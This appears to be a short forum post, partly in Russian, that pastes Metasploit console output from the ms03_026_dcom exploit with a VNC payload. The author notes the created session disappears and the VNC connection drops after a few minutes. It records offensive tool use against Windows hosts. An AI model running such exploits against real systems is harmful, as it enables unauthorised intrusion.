[*] Starting local TCP relay on 127.0.0.1:5900...[*] Local TCP relay started.[*] Launched vncviewer.[*] Session 1 created in the background.
msf exploit(ms03_026_dcom) > sessions -i

Active sessions
===============

No active sessions.

msf exploit(ms03_026_dcom) >

Ещё примерно через 2-3 минуты после создания сессии сервак отключается:

msf exploit(ms03_026_dcom) > [*] VNC connection closed.
/usr/bin/vncviewer: VNC server closed connection
Interrupt: use the 'exit' command to quit